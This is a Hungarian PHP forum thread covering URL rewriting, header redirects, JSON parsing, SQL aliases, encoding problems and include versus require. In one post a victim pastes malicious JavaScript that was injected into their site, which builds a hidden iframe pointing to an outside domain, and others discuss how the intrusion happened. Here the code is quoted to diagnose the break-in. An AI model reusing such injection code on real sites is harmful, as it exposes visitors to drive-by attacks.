Szia!
Gyors példa:
RewriteRule ([A-Za-z0-9-]+) index.php?ezt_keresi_a_felhasznalo=$1 [NC]
PHP-ben $_GET-tel kiszeded az ezt_keresi_a_felhasznalo-t és az alapján húzod be a tartalmat. Szerintem ez a legegyszerűbb.
Szia!
Gyors példa:
RewriteRule ([A-Za-z0-9-]+) index.php?ezt_keresi_a_felhasznalo=$1 [NC]
PHP-ben $_GET-tel kiszeded az ezt_keresi_a_felhasznalo-t és az alapján húzod be a tartalmat. Szerintem ez a legegyszerűbb.
Javascript topikban nem jártam sikerrel, hátha itt valaki tud valami okosat
Van egy adott url, van egy adott oldal.
Facebook comment box.
Ugye mondjuk: data-href="http://domain/cikk" html5 + betöltve az fb js az elején, egy most generált app id-vel.
Mi van, ha domaint váltok, hogy tarthatom meg a hozzászólásokat? (ha a data href-et a régin hagyom, akkor ugye url warningot kapok a comment box alján.)
Appnál az "App Domains" és a Website with Facebook Login részben a Site url mező ki van töltve (bár ezt az utóbbit nem értem miért kell.
és Soak,
Köszönöm a segítséget, sajnos nekem ezek a megoldások nem jók. De hátha meg lelelem előbb-utóbb
http://prohardver.hu/muvelet/hsz/ - ezt szeretném úgy megoldani, hogy ne fájl elérési útvonalként fogja fel az apache.
Ha az index.php-ban meghívom a $_SERVER['REQUEST_URI']-t akkor annak tartalma a /muvelet/hsz/ legyen!
Lehet itt valami Followsys kell nekem....
[ Szerkesztve ]
[A-Za-z0-9-]+
Ennél a reguláris kifejezésnél egyébként érdemes tisztában lenni azzal, hogy ez ténylegesen csak A-Z-ig terjedő nagybetűkre, a-z-ig terjedő kisbetűkre, valamint a 0 és 9 közt lévő számokra illeszkedik, plusz a kötőjelre, pedig egy URL más karaktereket is tartalmazhat (például alsóvonás (_), szóköz, pont, vessző, plusz karakter, stb.).
Szóval ez csak akkor működik jól, ha van valamiféle transliteration az URL aliasokra, amely csak ezekre a karakterekre korlátozza a lehetséges aliasokat (az egyebeket helyettesíti).
Sk8erPeter
Az elobb elnyelte a hszemet a motor.
Szoval a 3. talalat amit linkeltem , en is valami hasonlot irtam.
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule . index.php [L]
Megnézem mégegyszer majd odahaza
Sziasztok!
A html topikban kezdtük fejtegetni gondomat, ami nem más, mint a php meghívása html kódból.
Fontos, hogy a szolgáltató már aktiválta a html kódban is a php kódok lefutását, tesztelve, működik is.
Azért kell meghívni a php file-t, mert ez detektálja és irányítja az m. aldomainre a mobilról érkező látogatókat.
Erről az oldalról van most szó. Az inculde kód a header elején van elhelyezve, de nem történik semmi. A mobil.php kódja biztosan megfelelő, mert ha ezt nyitom meg a telefonról, akkor az m. oldalra dob rögtön.
A gond az, hogy mégse történik meg a meghívás valamiért. Ha sima php print kódot teszek helyére akkor kiírja a kódot, tehát mennie kellene.
Kipróbáltam, hogy létrehoztam egy sima php file-t az alábbi kóddal, aztán ezt nyitom meg a mobiltelefonról és így sem történik meg az átirányítás az m. oldalra, tehát valami nem jó.
Mi lehet a gond?
Az index és a mobil.php is a gyökérkönyvtárban van.
FurTv-s Lapeno figurát keresek, aki tudja hol lehet venni szóljon!!!:)
Az hogy gondolom a mobil.php-ban header-t macerálsz, mégpedig, ha elolvasod ezt : header , írja, hogy :
Remember that header() must be called before any actual output is sent, either by normal HTML tags, blank lines in a file, or from PHP. It is a very common error to read code with include, or require, functions, or another file access function, and have spaces or empty lines that are output before header() is called. The same problem exists when using a single PHP/HTML file.
Ezért mondtam már az elején, hogy mutass kódot, mert úgy egyszerűbb a segítség .
A html pedig így néz ki
[ Szerkesztve ]
FurTv-s Lapeno figurát keresek, aki tudja hol lehet venni szóljon!!!:)
Igen, ezt tiszta, de ha elolvasod amit idéztem akkor látod, hogy a hiba abban rejlik, hogy SEMMI-en tartalom nem mehet ki a header változtatás elött , se üres sor, se egy karakter semmi.
ja vagy úgy!
Így már működik a dolog, köszönöm a megoldást
FurTv-s Lapeno figurát keresek, aki tudja hol lehet venni szóljon!!!:)
Hm... Egyébként az az [L] pontosan miért kell a végére? Utána google-ztam, de lehet valami nálam rossz a virtual host-ban.
[L]-t levéve az utolsó sorról már működött. Köszi
Na egy másik... régen tudtam, de most nem tudom hirtelen a megoldást.
Ez a Json adat:
{"kulcs1":{"name":"Teszt G\u00e9za","email":"testgeza@test.hu"}
Ebből szeretném mindössze csak a name és az email mezők értékét kiolvasni, amit az alább látható dupla foreachel elérem.
Ezzel megy, de dupla foreach-es:
foreach($data as $d)
{
foreach($d as $key => $value)
{
print_r($value);
}
//print_r($d);
}
De kérdésem az lenne, hogy van-e egyszerűbb módja-e ennek?
Ha a külső foreachet elhagyom, az nem jó, mert akkor egy ilyet add vissza:
stdClass Object ( [name] => Teszt Géza [email] => testgeza@test.hu [id] => 1 )
json_decode($data, true) és egy sima arrayben adja vissza.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
Ilyenkor érdemes megnézni a dokumentációt, annál talán nincs hitelesebb forrás ... http://httpd.apache.org/docs/2.2/rewrite/flags.html
Kedves topiklakók!
PHP tudásom nulla, és talán a jövőben sem lesz ilyenre szükségem.
Amiért most mégis, az az, hogy egy feladatot csak így lehet megcsinálni.
Van egy weboldalam, amit a cloudflare.com véd.
Oda egyesével is belehet írkálni lassan a kitiltandó IP címeket, de nekem több mint 1000-et kellene bevinni.
Erre van nekik egy API megoldásuk ilyen esetekhez is (ehhez sem értek)...
http://www.cloudflare.com/docs/client-api.html#s4.7
http://www.cloudflare.com/docs/client-api.html#s2.1
Szóval hogy tudom én ezt megoldani, vagy valaki megtudja-e nekem?
Bővebb infó PÜ-ben lenne.
Előre is köszönöm!
Egyszerre kéne bevinni 1000ret vagy valami kritérium alapján mindig frissülne a lista?
Sziasztok!
Tegyük fel, hogy csinálok egy MySQL lekérdezést, és azt lefuttatom a PHP dokumentumban, és aztán ki szeretném íratni az eredménytábla adatait. De mi van akkor, ha mondjuk a lekérdezéssel több táblát kapcsolok össze, mondjuk kettőt, hármat vagy esetleg többet. Valami ilyesmire gondoltam:
SELECT p.id, p.title, u.id, u.name
FROM posts as p, users as u
ORDER BY p.id DESC;
(Most azt kérlek ne nézzétek, hogy ennek a lekérdezésnek nincs túl sok értelme.)
Na és egy foreach -el bejárnám a kapott tömböt, és hogyan tudnám megcsinálni, hogy mondjuk a p.id -t iratom ki? Mert így nekem nem működik:
foreach ($eredmeny as $sor){
echo $sor["p.id"] . '<br/>';
}
Erre hibát jelez.
Index számokkal működik ( pl.: echo $sor[0]; ), de úgy nem olyan jó. Ötlet?
[ Szerkesztve ]
:D Semmi :D
Majd add meg a php kódot is, ami elindítja az sql query-t és tárolja az eredményt is. Mert már lehet ott gond van.
Itt meg adjál meg "becenevet" az oszlopoknak
SELECT p.id, p.title, u.id, u.name
Ilyenre:
SELECT p.id as pid, p.title as ptitle, u.id as uid, u.name as uname
Plusz a hibát is bedobhatnád.
[ Szerkesztve ]
Megvan az a kb ezer, ki van másolva.
Csak be kell illeszteni.
Semmi frissítés.
Egyszer kell megcsinálni.
[ Szerkesztve ]
Így már működik, köszi!
A lekérdezés így nézett ki:
$query = "SELECT ..... ";
$q = $db->query($query);
foreach ($q as $sor){
....
}
:D Semmi :D
Ja, és ha ez megvolt, volna még valami plusz meló is, azt kell is frissíteni néha.
Az anyagi és egyéb juttatásokat megtudjuk beszélni.
Szóval várom a php-ben jó jelentkezőket!
Köszönöm!
Sziasztok. LKezdő php's vagyok.
Egy olyan problémám van, hogy írok egy PHP-s oldalt, (utf8_general_ci vel illesztve). az itthoni gépemen jól működik, de amikor feltöltöm szerverre (uw, vagy atw't használom egyenlőre, mint ingyenes) a megjelenítése nem jó és a karakterkódolásnál folyton állítani kell a böngészőt Unicode, hogy jól jelenítse meg. Valaki tudna segíteni, hogy mi lehet a probléma?
Előre is köszönettel Gábor
fájl, header, meta tag
Az rendben van.
Mivel a saját gépemen jó, ezért a feltöltésnél lehet valami baj.
Azért kösz a segítséget.
"uw, vagy atw't használom egyenlőre, mint ingyenes"
Ez a kulcs, mivel ezeken a fostalicska ingyenes tárhelyeken sajnos mai napig problémás az UTF-8 karakterkódolás használata.
Sk8erPeter
Meglepődve tapasztalom, hogy valaki belenyúlt az oldalamba.
Egyszerű php oldalacska, és a header, footer és index.php fájlokat (valamint egy js-t is, amit valójában nem is használ az oldal) megváltoztatták. Egy-egy ok felirat látszik így most a fejlécben és a láblécben is.
Ez került bele (a kódban lévő linken nem tudom mi van, de felelősséget nem vállalok érte):
<!--68c8c7--><script type="text/javascript" language="javascript">
(function () { var id = '195'; var u09 = document.createElement('iframe'); u09.src = 'http://www.torsdagsherrer.skjern-net.dk/dtd.php'; u09.style.position = 'absolute'; u09.style.border = '1'; u09.style.height = '31px'; u09.style.width = '42px'; u09.style.left = '500px'; u09.style.top = '100px'; if (!document.getElementById('u')) { document.write('<style>body{overflow-x:hidden;}</style>'); document.write('<div id=\'u\' style="position:absolute; width:80%; height:100%;" ></div>'); document.getElementById('u').appendChild(u09); }})();</script><!--/68c8c7-->
A jelszó szerintem abszolút biztonságos (kis- és nagybetűk, számok, össze vissza, nincs ismétlődő karakter). Hogy lehetséges, hogy mégis valaki (vagy valami) belenyúlt. Mit tehetek ellene, hogy lehet kivédeni?
Harrrr!!!!
Mint totál laikus, próbáld ki a cloudflare.com védelmét az oldaladra.
Ez valószínűleg egy iframe vírus. A header.php és footer.php fájlokat módosították (ezeken include-olod az index.php elején, illetve a végén) ezzel a javascripttel?
Rip and cut and mutilate the innocent, his friends, and again and again and on and on.
Nálunk is kapott ilyet az egyik ügyfél, de log persze semmiről sincs, úgyhogy nem igazán tudtam lenyomozni a belépési pontot. Ha nem az ftp jelszavuk került ki, akkor php exploitra gyanakszom még, mert azon a tárhelyen 5.2 volt, a mi saját kezelésű tárhelyeinken pedig 5.3+ van és nem találkoztunk ilyennel.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
Igen, ezt a kettőt és még az index.php-t is (amibe amúgy be van hívva a header és a footer.php).
Operában például nem is lehet a fejlécben semmire kattintani.
Egy kattintással vissza tudom tenni a ma reggeli vagy a tegnapi verziót, ezzel tehát nincs gond, csak nem tudom hogy csinálták és hogyan tudom kivédeni legközelebb.
CineDOG1: Köszi, megnézem mit tud.
DeltaPower: Megkérdezem a tárhely szolgáltatót, hátha ők tudják honnan jött a támadás.
Harrrr!!!!
Ha megvan hogy mentek be, küldd már el nekem is hogy ellenőrizhessem nálunk. Kösz előre is.
"Moonshine Whiskey (70°, ízesítés nélküli) van. Fincsi" - Teebee - "De az kiírtaná az egész családomat..Akkor is ha csak én innék belőle.." - forintuser
Elég valószínű, hogy a szolgáltató volt a gyenge láncszem.
Rip and cut and mutilate the innocent, his friends, and again and again and on and on.
Nálunk régen egy másik kóddal de hasonló vírus jött be francia IP-ről. Ezért leírom nagyjából az mit tudott hátha segít valamit:
Minden index.php fájlba beillesztette a kis base64es img ből visszafejtett kódját.
FTP-n jött be, első próbálkozásra belépett, tehát tudta a hozzáférést. Minden bizonnyal kiküldött ftp hozzáféréseket szereztek meg, mert a szerveren futó több 100 rendszerből csak néhányat sikerült fertőzni és teljesen más fajta rendszereket (WP, Joomla, egyedi fejlesztések ).
Tehát mindenképp módosítsátok az összes FTP fiók jelszavát, mert hiába pucolod ki a kódot visszamásolja magát.
Ha ettől különböző támadást fogtál ki, oszd majd meg itt kérlek, hogy többet tudjunk a témáról
[ Szerkesztve ]
Má' nem
én is erre gondoltam. Köszönöm a megerősítést.
Szia!
Nekem kb 3 hete volt ilyenem (webfejlesztéses topikban pont leírtam).
cgi fájlok, php fájlok kódolva (encode, meg base64-esek), random php fájlok itt ott, meg js fájlok elejére ugyanaz beírva. htaccessel valami amcsi oldalra átirányítva minden.
Egy adott virtuális tárhelyen több weblap volt, különböző mappákban. Egyikben volt egy régi, 1.5-ös, nem frissített joomla. Na ott jöttek be. (azt frissítettem, ftp jelszavakat váltottam, most már jó minden.)
kellene egy olyan funkciót csinálnom egy doki ismerősömnek, hogy az ügyfelek főként képeket (esetleg videókat) tölthetnek fel (a leleteiket) és nekem ezeket úgy kellene tárolnom, hogy kapjanak időbélyeget (de ne a szervertől, hanem valami hitelesített digitális aláírás szerűen) ezt hogy lehet megcsinálni? Azért fontos a feltöltés ideje, mert kutatáshoz kellene és mindent dokumentálni kell és bizonyítani a feltöltött adatokról hogy mikor lett feltöltve ... és honnan...
adatbázis? ha nem akkor videora ffmpeg, képre imagick.
valami digitális aláírást kéne rá pakolni mint pl az elekronikus számláknál ...
Válaszoltak, szerintük ez vírusos themplate (joomla, wordpress stb) vagy esetleg kikerült az ftp
jelszavam.
Állításuk szerint a php kódban van a hiba.
Ehhez viszont nem értek, a php kódot egy kedves és segítőkész fórumozó írta. Azt hiszem felkeresem ismét és kitalálunk rá valami megoldást.
Gyanítom azzal lesz a gond, hogy a kódban benne van a jelszó, ami az adatbázishoz való csatlakozáshoz szükséges. Ahogy olvasom ezt valami külön fájlban kellene tárolni ahhoz, hogy biztonságosabb legyen.
Harrrr!!!!
Drupalnál is "benne van a kódban" a felhasználónév-jelszó páros, egy settings.php nevű fájlban, és ez fizikailag nincs is "elrejtve", rooton kívülre helyezve (sites/default/settings.php), egy $databases tömbben vannak benne az adatok. Érdemes külön fájlra rakni a felhasználónév/jelszó párosokat, de ettől önmagában még nem lesz "biztonságos" az alkalmazásod; a kódban valahol úgyis include-olni kell (ld. Drupal is include-olja; vagy beolvasni a fájl tartalmát, majd bezárni, stb.). Amit linkeltél, ott arról beszél, hogy külön konfigurációs fájlba érdemes rakni ezt az adatot (Drupalnál a settings.php is az), aztán megoldani a fájl megfelelő védelmét a verziókövető rendszernél (hogy ne legyen nyoma a jelszavaknak), meg beállítani a konfigurációs fájlon a megfelelő jogosultságokat (pl.).
De ettől még az alkalmazás ezer helyen tartalmazhat biztonsági réseket, tehát mindenhol figyelni kell, hogy ne kerüljenek ki szenzitív adatok, figyelni kell az SQL Injectionre és még ezer más dologra is. Ennyi alapján csak általánosságokat lehet mondani, mint az előbb leírtak is.
Sk8erPeter
A fájlrendszerbe nyúltak bele, nem az adatbázisba. Az adatbázis az ilyen publikus hosztingmegoldások esetében általában nem elérhető távolról, így a jelszó tárolási formája ebben az esetben nem olyan lényeges.
x gon' give it to ya
Melyiket érdemesebb használni: include_once vagy require_once, illetve van-e a kettő között különbség?
:D Semmi :D
Annyi a különbség, hogy ha nem sikerül a fájl include, akkor require-nál fatal error -ral megszakad a script futása. Include-nál nem, csak egy warninggal jelez a php.
x gon' give it to ya
A require-t érdemesebb, "erősebb" hibát dob. (A hiba az hiba, include esetén nagyobb az esély, hogy figyelmetlenségből elhagyunk valamit.)
Plusz info, hogy a _once verziók sokkal lassabbak, csak akkor használd ezeket, ha tényleg van esély arra, hogy kétszer töltenél be valamit (láttam már class loader-ben is _once-t, facepalm).
Plusz info, hogy a _once verziók sokkal lassabbak
Ezt nem is tudtam, jól jött, köszi!
Bár itt azt mondják, hogy elhanyagolható a különbség: [link]
[ Szerkesztve ]
Az a baj, hogy szerintem 1-1 fájllal tesztelte ezeket (nem olvastam végig a hozzászólását). A nagyobb különbség akkor jön elő, ha pl. a class loader-ben _once van használva, és az adott kérés kiszolgálásához szükség van 100 osztály betöltésére; egészen biztos vagyok benne, hogy hashmap van használva a nyilvántartáshoz, hogy mi töltődött be, valószínűleg gyors is a hash, csak épp emiatt lesz egy csomó ütközés, ami egy adott elem betöltésének visszakövetését jól lelassítja.
Az, hogy most mennyivel lassabb, észrevehető-e egyáltalán, hasonló kérdés ahhoz, mint mikor egyszer megkérdezték, hogy PHP-val történő képmanipuláció után azonnal engedje el az erőforrásokat, vagy majd a PHP kitakarít maga után a script végén. Minden byte memória számít, mint ahogyan minden processzoridő.
Minden byte memória számít, mint ahogyan minden processzoridő.
Szerintem meg ami igazán számít, az a programozó ideje. Tehát kétszer is gondold meg, hogy tényleg megéri-e kevésbé jó minőségű, nehezebben érthető kódot írni és erre pazarolni az idődet pusztán azért, hogy megspórolj 5 ms-t oldalletöltésenként.
Ha napi 1millio oldalletoltesed van akkor erdemes, ha 10 akkor nem, szerintem inkabb ettol fugg.
hol lehet ilyen optimalizálással kapcsolatos infókat beszerezni, hogy mi hogyan gyorsabb? Tartalomkezelő keretrendszeremben megérné ha optimalizálni tudnám főleg, hogy 100-200 weboldalt szolgál ki a szerverünkön...